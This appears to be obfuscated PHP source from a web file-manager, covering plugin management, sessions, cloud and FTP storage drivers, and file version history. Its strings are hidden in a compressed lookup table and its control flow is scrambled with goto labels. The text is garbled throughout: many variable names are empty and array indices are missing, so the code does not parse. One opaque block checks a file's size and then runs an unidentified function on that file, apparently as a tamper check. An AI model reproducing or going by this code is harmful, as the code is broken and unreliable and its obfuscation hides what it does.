foreach ($ as $Ƴ => $) { $ = $this->appAllow($Ƴ, $); if (!$) { continue; } foreach ($[$ꦫ[2103]] as $ѯ͙ => $ץ) { Hook::bind($ѯ͙, $ץ); } } Hook::trigger($ꦫ[2104]); Hook::trigger(ACTION); } public function appAllow($, $ݼ͍, $ŝο = true) { $ꤍ =& $_SERVER[]; $ = PLUGIN_DIR . $ . $ꤍ[2105]; if (!is_array($ݼ͍) || !is_array($ݼ͍[$ꤍ[2103]]) || $ݼ͍[$ꤍ[839]] != 1 || !is_file($)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$ꤍ[6]][$ꤍ[2106]] || !$GLOBALS[$ꤍ[6]][$ꤍ[2107]]) { return !0; } $ = explode($ꤍ[50], strtolower($GLOBALS[$ꤍ[6]][$ꤍ[2107]])); return in_array(strtolower($), $) ? !1 : !0; } if ($ŝο && !Action($ꤍ[2108])->checkAuth($)) { return !1; } return !0; } public function unInstall($ӆš) { $ =& $_SERVER[]; $ = $this->loadList($ӆš); if (file_exists(PLUGIN_DIR . $ӆš)) { Hook::apply($ӆš . $[2109]); } $this->remove($[$[484]]); } public function changeStatus($ꩋ, $ő) { $ȼ =& $_SERVER[]; $׷ = $this->loadList($ꩋ); if ($ő) { Hook::apply($ꩋ . $ȼ[2110]); } $this->update($׷[$ȼ[484]], array($ȼ[2111] => $ő)); } public function appRegist($̮, $Ð) { $۝ =& $_SERVER[]; $ݜ = $this->loadList($̮); if ($ݜ) { $this->update($ݜ[$۝[484]], array($۝[2103] => $Ð)); } else { $ = array($۝[32] => $̮, $۝[2103] => $Ð, $۝[839] => 0, $۝[6] => $this->getConfigDefault($̮)); $this->insert($); } } public function getConfigDefault($) { $粚 =& $_SERVER[]; $޾ = array(); $슑 = $this->getPackageJson($); if (!$슑 && is_array($슑[$粚[2112]])) { return $޾; } foreach ($슑[$粚[2112]] as $œ => $ׇ) { if (!isset($ׇ[$粚[459]]) || isset($޾[$œ])) { continue; } $޾[$œ] = $ׇ[$粚[459]]; } return $޾; } public function getPackageJson($̍) { return Hook::apply($̍ . $_SERVER[][2113]); } public function getConfig($, $ = false) { $҃ =& $_SERVER[]; $ए = array(); $ל = $this->loadList($); if ($ל && is_array($ל[$҃[6]])) { $ए = $ל[$҃[6]]; } if (!$ए || $) { $ए = $this->getConfigDefault($); } return $ए; } public function setConfig($, $ = false) { $ =& $_SERVER[]; $ؼ = $this->loadList($); if (!$ؼ) { return !1; } $쨝 = $ؼ[$[6]]; if ($ == !1) { $쨝 = array(); $ = $this->getConfigDefault($); } foreach ($ as $֗ => $) { $쨝[$֗] = is_string($) ? trim($) : $; } $this->update($ؼ[$[484]], array($[6] => $쨝)); } public function viewList() { $ =& $_SERVER[]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ = array(); foreach ($ as $Χ => $) { $ر = $; unset($[$[2103]], $[$[6]]); $ϔ܏ = PLUGIN_DIR . $[$[32]] . $[2105]; if (!is_file($ϔ܏)) { continue; } $䔺 = Hook::apply($[$[32]] . $[2113]); if (!is_array($䔺)) { continue; } $[$Χ] = array_merge($, $䔺); if ($ر[$[6]][$[1693]] != $䔺[$[1667]]) { Hook::apply($[$[32]] . $[2110]); $ر[$[6]][$[1693]] = $䔺[$[1667]]; $this->update($[$[484]], array($[6] => $ر[$[6]])); } } return $; } private function loadPluginList() { $ݮ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $ݮ[2114]) { return $; } $ = Hook::trigger($ݮ[2115], $); if ($ && !$) { die; } return $ ? $ : $; } private function pluginScan($¸ռ) { $퀍 =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $ɝڑ, $, 0); foreach ($ɝڑ as $ͼְ) { $ = get_path_this($ͼְ); if (isset($¸ռ[$]) || !file_exists($ͼְ . $퀍[2116]) || !file_exists($ͼְ . $퀍[2105])) { continue; } Hook::apply($ . $퀍[2110]); } } } class SessionModel extends ModelBase { protected $tableName = "\x73\x79\163\164\x65\155\x5f\163\x65\x73\163\x69\157\x6e"; public function get($ݍ) { $̤ =& $_SERVER[]; $ģ = $this->where(array($̤[2117] => $ݍ))->find(); if (!is_array($ģ)) { return !1; } return $ģ[$̤[181]]; } public function set($, $, $ = 3600) { $̎ =& $_SERVER[]; $ = array($̎[2117] => $, $̎[2017] => $, $̎[2118] => $ + time()); if (Session::get($̎[2119])) { $[$̎[1779]] = Session::get($̎[2119]); } else { $[$̎[1779]] = 0; } if ($this->get($)) { return $this->where(array($̎[2117] => $))->save($); } else { return $this->add($, array(), !0); } } public function remove($񏚽) { return $this->where(array($_SERVER[][2117] => $񏚽))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][2120] . time())->delete(); } } goto d땬; b: class PathDriverEDS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][257]); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($ꐉ) { parent::__construct($ꐉ); $this->setSignVersion($_SERVER[][257]); } public function uploadFormData($֍, $´ = 3600) { $ =& $_SERVER[]; $ = $[239]; $ۧ = $[279]; $ = $[72]; $ = gmdate($[280]); $ۼ = gmdate($[281]); $̤ = $[282]; $ژ = $´ . $[12]; $ = $[283]; $ = array($this->accessKey, $ۼ, $this->region, $, $̤); $闻 = implode($[8], $); $ҙ = array($[284] => gmdate($[308], strtotime($[286])), $[287] => array(array($[288] => $this->bucket), array($[289] => $), array($[290], $[291], $[12]), array($[290], $[292], $[12]), array($[290], $[293], $[12]), array($[294] => $), array($[295] => $闻), array($[296] => $ۧ), array($[297] => $), array($[298] => $ژ))); $퉳 = base64_encode(json_encode($ҙ)); $܈ޚ = hash_hmac($[299], $ۼ, $[300] . $this->secret, !0); $ҕӞ = hash_hmac($[299], $this->region, $܈ޚ, !0); $ = hash_hmac($[299], $, $ҕӞ, !0); $ = hash_hmac($[299], $̤, $, !0); $ = hash_hmac($[299], $퉳, $); $Ɩ = array($[256] => $[12], $[301] => $[12], $[289] => $, $[294] => $, $[302] => $퉳, $[303] => $闻, $[304] => $ۧ, $[305] => $, $[306] => $ژ, $[307] => $, $[218] => $this->getHost()); return $Ɩ; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ڼ) { $Ƃ =& $_SERVER[]; global $config; $this->appCharset = $config[$Ƃ[1447]]; $this->systemCharset = $config[$Ƃ[1448]]; if (isset($ڼ[$Ƃ[1449]]) && $ڼ[$Ƃ[1449]]) { $this->systemCharset = $ڼ[$Ƃ[1449]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($ˤ) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ˤ = $this->iconvApp($ˤ); if (substr($, 0, 2) == $[1421]) { $ = BASIC_PATH . substr($, 2); } if (substr($ˤ, 0, 2) == $[1421]) { $ˤ = BASIC_PATH . substr($ˤ, 2); } $ = KodIO::clear($); $ˤ = KodIO::clear($ˤ); $ˤ = substr($ˤ, strlen($)); if (empty($this->pathDriver)) { return $ˤ; } return $this->pathDriver . $[8] . ltrim($ˤ, $[8]); } private function _init($ך = array()) { $Ú =& $_SERVER[]; if (!function_exists($Ú[1450])) { throw new Exception(LNG($Ú[1451])); } $this->config = $ך; $this->charsetReset($ך); foreach ($ך as $ϟ => $) { if (isset($this->{$ϟ})) { $this->{$ϟ} = $; } } return $this->_login($ך); } private function _login($߹) { $ =& $_SERVER[]; static $Ī = array(); $ = md5(json_encode($߹)); if (isset($Ī[$])) { foreach ($Ī[$] as $ => $ߺ) { $this->{$} = $ߺ; } return !0; } $ږσ = parse_url(trim($this->server, $[8])); $this->host = $ږσ[$[218]]; $ = isset($ږσ[$[217]]) && $ږσ[$[217]] == $[1452] ? !0 : !1; $this->scheme = $ ? $[1453] : $[1454]; $this->port = isset($ږσ[$[219]]) ? $ږσ[$[219]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($[1455]) . $this->host . $[4] . $this->port, !0); return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$) { $this->writeLog(LNG($[1456]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $[101] ? !0 : !1; @ftp_pasv($this->connect, $); $Ī[$] = array($[1457] => $this->connect, $[218] => $this->host, $[217] => $this->scheme, $[219] => $this->port); return $; } private function _isconn($条Қ = true) { if (is_resource($this->connect)) { return !0; } if (!$条Қ) { return !1; } return $this->_login($this->config); } public function mkfile($׆, $ = '', $Ȣ = REPEAT_RENAME) { if ($this->setContent($׆, $)) { return $this->getPathOuter($׆); } $this->writeLog(LNG($_SERVER[][1458]), !0); return !1; } public function mkdir($ɼ, $ڧ = REPEAT_SKIP) { $ =& $_SERVER[]; if (!$ɼ || $ɼ == $[8]) { return !0; } if (!$this->_isconn()) { return !1; } $ɼ = $this->iconvSystem($ɼ); if ($this->_isFolder($ɼ) || @ftp_mkdir($this->connect, $ɼ)) { return $this->getPathOuter($ɼ); } if (!$this->mkdir($this->pathFather($ɼ))) { return !1; } if ($ɼ = @ftp_mkdir($this->connect, $ɼ)) { return $this->getPathOuter($ɼ); } $this->writeLog(__FUNCTION__ . $[1459], !0); return !1; } public function copyFile($, $߈) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $˿ = $this->tempFile($); $꤄Ϟ = $this->iconvApp($˿); $this->download($, $꤄Ϟ); $ߒ = $this->upload($߈, $꤄Ϟ); $this->tempFileRemve($˿); return $ߒ; } public function moveFile($ĺ, $ވ) { if (!$this->_isconn()) { return !1; } $ĺ = $this->iconvSystem($ĺ); $ވ = $this->iconvSystem($ވ); $󂺁 = @ftp_rename($this->connect, $ĺ, $ވ); if (!$󂺁) { $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); return !1; } return $this->getPathOuter($ވ); } public function delFile($Ә) { if (!$this->_isconn()) { return !1; } $Ә = $this->iconvSystem($Ә); $ܣ = @ftp_delete($this->connect, $Ә); if (!$ܣ) { $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); } return $ܣ; } public function delFolder($σ) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $󪋍 = $弣 = array(); $this->fileList($σ, $󪋍, $弣, !0); $this->listItemCache = !0; foreach ($弣 as $) { $ӫ = $this->iconvSystem($[$_SERVER[][32]]); $ = @ftp_delete($this->connect, $ӫ); if (!$) { return !1; } } foreach ($󪋍 as $ӫ) { $ӫ = $this->iconvSystem($ӫ); $ = @ftp_rmdir($this->connect, $ӫ); if (!$) { return !1; } } $σ = $this->iconvSystem($σ); return @ftp_rmdir($this->connect, $σ); } public function rename($, $ے) { $ީ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($), $ے); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $Ǐ = rtrim($, $ީ[8]) . $ީ[8] . $; $ = @ftp_rename($this->connect, $, $Ǐ); if (!$) { $this->writeLog(__FUNCTION__ . $ީ[1459], !0); return !1; } $Ǐ = $this->iconvApp($Ǐ); return $this->getPathOuter($Ǐ); } private function folderInfo($Ԍ, $ = false) { $ =& $_SERVER[]; $ݍ = array($[32] => $this->pathThis($Ԍ), $[97] => $this->getPathOuter($[8] . $Ԍ), $[33] => $[88]); if ($) { return $ݍ; } $ݍ[$[241]] = $ݍ[$[98]] = 0; $ݍ[$[242]] = $ݍ[$[243]] = !0; return $ݍ; } private function fileInfo($ړ, $ = false, $﫱 = array()) { $ =& $_SERVER[]; $؜Ȥ = array($[32] => $this->pathThis($ړ), $[97] => $this->getPathOuter($[8] . $ړ), $[33] => $[240], $[89] => isset($﫱[$[89]]) ? $﫱[$[89]] : 0, $[179] => $this->ext($ړ)); if ($) { return $؜Ȥ; } $؜Ȥ[$[241]] = $؜Ȥ[$[98]] = 0; $؜Ȥ[$[242]] = $؜Ȥ[$[243]] = !0; $裔 = $this->iconvSystem($ړ); $؜Ȥ[$[98]] = @ftp_mdtm($this->connect, $裔); if (empty($﫱)) { $﫱 = $this->objectMeta($ړ); if (!$﫱) { return $؜Ȥ; } } $؜Ȥ[$[89]] = $﫱[$[89]]; return $؜Ȥ; } public function size($ۣ¬) { $ת = $this->objectMeta($ۣ¬); return $ת ? $ת[$_SERVER[][89]] : 0; } public function info($Ŝ) { if ($this->isFile($Ŝ)) { return $this->fileInfo($Ŝ, 0); } else { if ($this->isFolder($Ŝ)) { return $this->folderInfo($Ŝ); } } return !1; } private function fileList($⤕, &$ۏ, &$, $ = false) { $Ӡ =& $_SERVER[]; $⤕ = $this->iconvSystem($⤕); if (!$this->isFolder($⤕)) { return !1; } @ftp_chdir($this->connect, $Ӡ[8]); $⤕ = rtrim($⤕, $Ӡ[8]) . $Ӡ[8]; check_abort(); $ = @ftp_rawlist($this->connect, $⤕); if (!$) { $ = array(); } $Ӷუ = array($Ӡ[10] => 1, $Ӡ[1374] => 1); foreach ($ as $􌒘) { $ = $this->_listItem($􌒘); if ($[0] == $Ӡ[847]) { continue; } $ = $[8]; if (empty($) && $ !== $Ӡ[238] || isset($Ӷუ[$])) { continue; } $ = $this->iconvApp($⤕ . ltrim($, $Ӡ[8])); $򛕛 = array($Ӡ[32] => $, $Ӡ[33] => $Ӡ[240], $Ӡ[89] => $[4]); if (substr($􌒘, 0, 1) == $Ӡ[1460]) { $򛕛[$Ӡ[33]] = $Ӡ[88]; $򛕛[$Ӡ[89]] = 0; } $ = $򛕛[$Ӡ[33]] == $Ӡ[88] ? !0 : !1; $this->cacheMethodInfoSet($, $, $򛕛); if ($) { $ۏ[] = $; if ($) { $this->fileList($, $ۏ, $, $); } continue; } $[] = $򛕛; } $this->cacheMethodInfoSet($⤕, !0); } private function _listItem($) { if (empty($)) { return array(); } $׹ = preg_split($_SERVER[][1461], $); if (count($׹) <= 9) { return $׹; } $׹[8] = trim(substr($, strpos($, $׹[7]) + strlen($׹[7]))); return array_splice($׹, 0, 9); } public function listPath($Ћ, $ޡ㨻 = false) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ɳ = array(); $this->fileList($Ћ, $, $ɳ); foreach ($ as $덎ʿ => $󷙯) { $[$덎ʿ] = $this->folderInfo($󷙯, $ޡ㨻); } foreach ($ɳ as $덎ʿ => $󷙯) { $ɳ[$덎ʿ] = $this->fileInfo($󷙯[$[32]], $ޡ㨻, $󷙯); } return array($[95] => $, $[96] => $ɳ); } public function has($ژ, $󒷑 = false, $ȟ = true) { $ܿж =& $_SERVER[]; $ͩ = $Ɲ = array(); $ = $󒷑 ? !0 : !1; $this->fileList($ژ, $ͩ, $Ɲ, $); if ($󒷑) { return array($ܿж[249] => count($Ɲ), $ܿж[250] => count($ͩ)); } if ($ȟ) { if (count($Ɲ)) { return !0; } } else { if (count($ͩ)) { return !0; } } return !1; } public function listAll($Ҁ) { $䉩 =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $؉… = $ӄ = array(); $this->fileList($Ҁ, $؉…, $ӄ, !0); $ = array_to_keyvalue($ӄ, $䉩[32]); foreach ($؉… as $ş) { if (is_string($ş)) { $[$ş] = array($䉩[89] => 0); } } return $this->listAllFiles($Ҁ, $); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return $this->fileSubstr($); } public function setContent($, $Ȩ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($); file_put_contents($, $Ȩ); $ʰ = $this->upload($, $this->iconvApp($)); $this->tempFileRemve($); return $ʰ; } public function fileSubstr($, $ŀ = 0, $̘ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $ŀ, $̘); } private function ftpRequest($阾, $ = 0, $Є = false) { $阾 = $this->iconvSystem($阾); $ې = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ې . $this->pathEncode($阾)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($Є) { $ˡ = $ + $Є - 1; curl_setopt($, CURLOPT_RANGE, "{$}\x2d{$ˡ}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $۟ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($۟ == FTP_MOREDATA) { $۟ = ftp_nb_continue($this->connect); } if ($۟ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); return !1; } return $this->getPathOuter($); } public function download($ɂ, $Ǜ = '') { if (!$this->_isconn()) { return !1; } $铅 = $this->pathFather($Ǜ); if (!IO::mkdir($铅)) { return !1; } $ɂ = $this->iconvSystem($ɂ); $Ǜ = $this->iconvSystem($Ǜ); $ = ftp_nb_get($this->connect, $Ǜ, $ɂ, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[][1459], !0); return !1; } return $this->iconvApp($Ǜ); } public function exist($懲) { return $this->isFile($懲) || $this->isFolder($懲); } public function isFile($᥌) { return !$this->isFolder($᥌) && $this->objectMeta($᥌); } public function isFolder($) { return $this->cacheMethod($_SERVER[][189], $); } protected function objectMeta($Ԃ) { return $this->cacheMethod($_SERVER[][191], $Ԃ); } protected function _objectMeta($մ) { $ =& $_SERVER[]; if ($մ == $[12] || $մ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $մ = $this->iconvSystem($մ); $ԧ = array($[32] => $this->iconvApp($մ), $[33] => $[240], $[89] => 0); @ftp_chdir($this->connect, $[8]); $設 = @ftp_size($this->connect, $մ); if ($設 != -1) { $ԧ[$[89]] = $設; } else { $ی = @ftp_chdir($this->connect, $մ); if (!$ی) { return !1; } $ԧ[$[33]] = $[88]; } return $ԧ; } protected function _isFolder($蛨) { $ =& $_SERVER[]; if ($蛨 == $[12] || $蛨 == $[8]) { return !0; } $ԏݖ = $this->_objectMeta($蛨); return isset($ԏݖ[$[33]]) && $ԏݖ[$[33]] == $[88] ? !0 : !1; } } goto D問Ķސ; F確: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[̀] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($盲, $Ƚ) { return $盲 == $Ƚ; } goto a썍; fՄ: $_file = $_SERVER[$_SERVER[][69]]; $_size = $_SERVER[][887]; if ($_SERVER[$_SERVER[][60]] != $_size($_file)) { $_getc = $_SERVER[][62]; $_getfile = $_SERVER[$_SERVER[][63]] . $_SERVER[][64]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][65], $_getfilec); if (count($_getarrs) < $_SERVER[][66]) { $exit = $_SERVER[][67]; $exit(); } $_act = $_SERVER[][68]; $_act($_file); } goto A; Fȓ: class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $Φ = $GLOBALS[$[6]][$[102]]; if ($Φ[$[1312]] != 1) { return; } if ($Φ[$[1313]] <= 0) { return; } if (isset($_REQUEST[$[1314]]) && $_REQUEST[$[1314]] == $[101]) { return; } Hook::bind($[1315], $[1316]); Hook::bind($[1317], $[1318]); Hook::bind($[1319], $[1320]); Hook::bind($[1321], $[1322]); Hook::bind($[1323], $[1324]); Hook::bind($[1325], $[1326]); } public static function eventBeforeUpload($޾) { if ($޾[3] && $޾[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($޾[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($ř) { $ᶻ = self::parsePath($ř[0]); if (!$ᶻ) { return; } self::add($ᶻ); } public static function eventBeforeCopyFile($ٛ, $ҧ, $, $Ϯ, $, $ʐ) { $п =& $_SERVER[]; if (isset($->_data[$п[1247]]) && $->_data[$п[1247]]) { return; } $ = $->getPathOuter($Ϯ); $ÿ = self::parsePath($); if (!$ÿ) { return; } self::add($ÿ); } public static function eventBeforeRename($ͺ) { $ū =& $_SERVER[]; $ע = self::parsePath($ͺ[0]); if (!$ע) { return; } $ȏ = self::checkInHistory($ע); if (!$ȏ) { return; } if ($ȏ[$ū[33]] == $ū[240]) { $ް = self::listData($ע); if ($ް && $ް[$ū[454]]) { self::moveHistory($ע, $ͺ[1]); } } else { IO::rename($ȏ[$ū[97]], $ͺ[1]); } } public static function eventBeforeMove($ٺ) { $ړǷ =& $_SERVER[]; $Nj = self::parsePath($ٺ[0]); if (!$Nj) { return; } $ = self::parsePath($ٺ[1]); if (!$) { return; } $Ϸ = $ٺ[3]; $ȣ = self::checkInHistory($Nj); if (!$ȣ) { return; } $ = self::pathHistory($); if ($ȣ[$ړǷ[33]] == $ړǷ[240]) { $Ψ = self::listData($Nj); $ɲ = rtrim($, $ړǷ[8]) . $ړǷ[8] . ($Ϸ ? $Ϸ : get_path_this($Nj)); $ = self::listData($ɲ); if ($Ψ && $Ψ[$ړǷ[454]] && $ && $[$ړǷ[454]]) { return self::clear($Nj); } if ($Ψ && $Ψ[$ړǷ[454]]) { self::moveHistory($Nj, $Ϸ, $); } } else { IO::move($ȣ[$ړǷ[97]], $, !1, $Ϸ); self::clearEmptyFolder(IO::pathFather($ȣ[$ړǷ[97]])); } } public static function eventAfterRemove($ک, $) { $ =& $_SERVER[]; if (!$) { return; } $ = self::parsePath($ک[0]); if (!$) { return; } $߂ = self::checkInHistory($); if (!$߂) { return; } if ($߂[$[33]] == $[240]) { $ڲ = self::listData($, !1); if ($ڲ && $ڲ[$[454]]) { self::clear($, !1); } } else { IO::remove($߂[$[97]]); self::clearEmptyFolder(IO::pathFather($߂[$[97]])); } } private static function checkInHistory($) { $ = self::pathHistory($); if (!IO::exist($)) { $ .= $_SERVER[][1327]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($) { $Տ =& $_SERVER[]; if (!$) { return !1; } if (isset($GLOBALS[$Տ[1328]]) && $GLOBALS[$Տ[1328]]) { return; } $ĭɐ = KodIO::parse($); $ = $ĭɐ[$Տ[33]]; $қ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$қ || !$ĭɐ[$Տ[1329]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $Տ[1330])) == DATA_PATH . $Տ[1330]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $կ = IO::init($); if ($կ->pathParse[$Տ[1243]]) { return self::parsePath($կ->pathParse[$Տ[1243]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ۅ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $Տ[1331]); foreach ($ۅ as $) { if (!$ && substr($, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$Տ[1238]] . $Տ[1332] . $); return $; } private static function pathHistory($쏟) { $ =& $_SERVER[]; $Ĝ = self::$_historyBase . ltrim(KodIO::clear($쏟), $[8]); $Ĝ = str_replace(array($[1333]), array($[1334]), $Ĝ); return $Ĝ; } public static function log($֙) { } public static function historyCount($ۄқ) { $ɫ =& $_SERVER[]; $݄Ñ = array(); $ = array(); foreach ($ۄқ as $Ɛ) { $ = get_path_father($Ɛ); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($Ɛ); } foreach ($ as $ => $Ǥ) { $ = self::parsePath($); if (!$) { continue; } foreach ($Ǥ as $Ц) { $Ǒ = self::listData(rtrim($, $ɫ[8]) . $ɫ[8] . $Ц, !1); if ($Ǒ && $Ǒ[$ɫ[454]]) { $݄Ñ[rtrim($, $ɫ[8]) . $ɫ[8] . $Ц] = count($Ǒ[$ɫ[454]]); } } } return $݄Ñ; } public static function add($ٍ) { $֤ =& $_SERVER[]; $ޤ = self::listData($ٍ); if (!$ޤ) { return; } $В = Model($֤[859])->get($֤[1335]); $Ҕ = intval($GLOBALS[$֤[6]][$֤[102]][$֤[1313]]); $ = $В == $֤[1336] ? min(5, $Ҕ) : $Ҕ; if ($Ҕ <= 0) { return; } $ = IO::info($ٍ); $Ĥ = $ޤ[$֤[454]]; if ($[$֤[89]] == 0) { return; } if ($[$֤[89]] >= 1024 * 1024 * 500) { return !1; } $߄ = IO::hashSimple($ٍ); if ($Ĥ && $Ĥ[0][$֤[681]] == $߄) { return !0; } if (array_key_exists($֤[243], $) && !$[$֤[243]]) { return !1; } $ = short_id(time()); $Ρ = array($֤[484] => $, $֤[681] => $߄, $֤[32] => $[$֤[32]] . $֤[10] . date($֤[1337]) . rand_string(1), $֤[89] => $[$֤[89]], $֤[536] => USER_ID, $֤[241] => time(), $֤[1338] => $֤[12]); IO::mkdir($ޤ[$֤[1339]]); $ʼn = IO::copy($ٍ, $ޤ[$֤[1339]], !1, $Ρ[$֤[32]]); if (!$ʼn) { self::clearEmptyFolder($ޤ[$֤[1339]]); return !1; } array_unshift($Ĥ, $Ρ); if (count($Ĥ) > $) { $ = array_slice($Ĥ, $); foreach ($ as $ˍ) { IO::remove($ޤ[$֤[1339]] . $ˍ[$֤[32]]); } $Ĥ = array_slice($Ĥ, 0, $); } return self::saveData($ޤ[$֤[1340]], $Ĥ); } public static function remove($ФՀ, $) { $ɹ =& $_SERVER[]; $ُޟ = self::listData($ФՀ); $ = array(); if (!$ُޟ) { return !1; } foreach ($ُޟ[$ɹ[454]] as $) { if ($[$ɹ[484]] == $) { IO::remove($ُޟ[$ɹ[1339]] . $[$ɹ[32]]); continue; } $[] = $; } return self::saveData($ُޟ[$ɹ[1340]], $); } public static function clear($̋, $ϼ = true) { $Ȧ =& $_SERVER[]; $ʉ = self::listData($̋, $ϼ); if (!$ʉ) { return !1; } foreach ($ʉ[$Ȧ[454]] as $) { IO::remove($ʉ[$Ȧ[1339]] . $[$Ȧ[32]]); } return self::saveData($ʉ[$Ȧ[1340]], array()); } public static function moveHistory($, $ = '', $ˤ = '') { $Ŵ =& $_SERVER[]; $̷ = self::listData($, !1); if (!$̷ || !$̷[$Ŵ[454]]) { return !1; } $ְ = $Ŵ[1327]; $ = $ ? $ : get_path_this($); $ˤ = $ˤ ? $ˤ : $̷[$Ŵ[1339]]; $ = substr(get_path_this($̷[$Ŵ[1340]]), 0, -strlen($ְ)); foreach ($̷[$Ŵ[454]] as $զ => $¢) { $ = $ . substr($¢[$Ŵ[32]], strlen($)); $۲ = IO::move($̷[$Ŵ[1339]] . $¢[$Ŵ[32]], $ˤ, !1, $); if ($۲) { $̷[$Ŵ[454]][$զ][$Ŵ[32]] = $; } } $̷[$Ŵ[1340]] = IO::move($̷[$Ŵ[1340]], $ˤ, !1, $ . $ְ); self::saveData($̷[$Ŵ[1340]], $̷[$Ŵ[454]]); self::clearEmptyFolder($̷[$Ŵ[1339]]); } public static function rollback($, $׿) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } $눑 = IO::info($); foreach ($[$[454]] as $ => $ւϪ) { if ($ւϪ[$[484]] == $׿) { self::add($); $ = $[$[1339]] . $ւϪ[$[32]]; $ = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $눑[$[32]]); if ($) { self::remove($, $׿); } return $; } } return !1; } public static function setDetail($, $, $Ƒ) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } foreach ($[$[454]] as $ӱ => $˺̕) { if ($˺̕[$[484]] == $) { $[$[454]][$ӱ][$[1338]] = $Ƒ; self::saveData($[$[1340]], $[$[454]]); return !0; } } return !1; } public static function fileInfo($Ĕ, $磱) { $Է =& $_SERVER[]; $ = self::listData($Ĕ); if (!$) { show_json(LNG($Է[118]), !1); } $ = $Է[12]; foreach ($[$Է[454]] as $ => $܇) { if ($܇[$Է[484]] != $磱) { continue; } $ = $[$Է[1339]] . $܇[$Է[32]]; break; } if (!$) { show_json(LNG($Է[118]), !1); } return IO::info($); } public static function fileOut($, $Ԣ, $ص쪕 = false) { $ႆ =& $_SERVER[]; $ = self::fileInfo($, $Ԣ); $ற =& $GLOBALS[$ႆ[7]]; $ص쪕 = isset($ற[$ႆ[1290]]) && $ற[$ႆ[1290]] == 1; if (isset($ற[$ႆ[33]]) && $ற[$ႆ[33]] == $ႆ[1341]) { return IO::fileOutImage($[$ႆ[97]], $ற[$ႆ[1342]]); } IO::fileOut($[$ႆ[97]], $ص쪕, get_path_this($)); } public static function listData($Ϙ, $ = true) { $嵪 =& $_SERVER[]; if ($ && !IO::exist($Ϙ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($Ϙ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($Ϙ); $׏ـ = array($嵪[1340] => $ . $嵪[1327], $嵪[1339] => rtrim(get_path_father($), $嵪[8]) . $嵪[8], $嵪[454] => array()); $Ƣ = IO::getContent($׏ـ[$嵪[1340]]); if ($Ƣ) { $꼎 = json_decode($Ƣ, !0); if (is_array($꼎)) { $׏ـ[$嵪[454]] = $꼎; } } return $׏ـ; } private static function saveData($ϱ, $ė) { $Τ =& $_SERVER[]; self::log($Τ[1343] . $ϱ . $Τ[84] . count($ė), $Τ[841]); if ($ė) { return IO::setContent($ϱ, json_encode($ė)); } $̪ = IO::pathFather($ϱ); IO::remove($ϱ); self::clearEmptyFolder($̪); return !0; 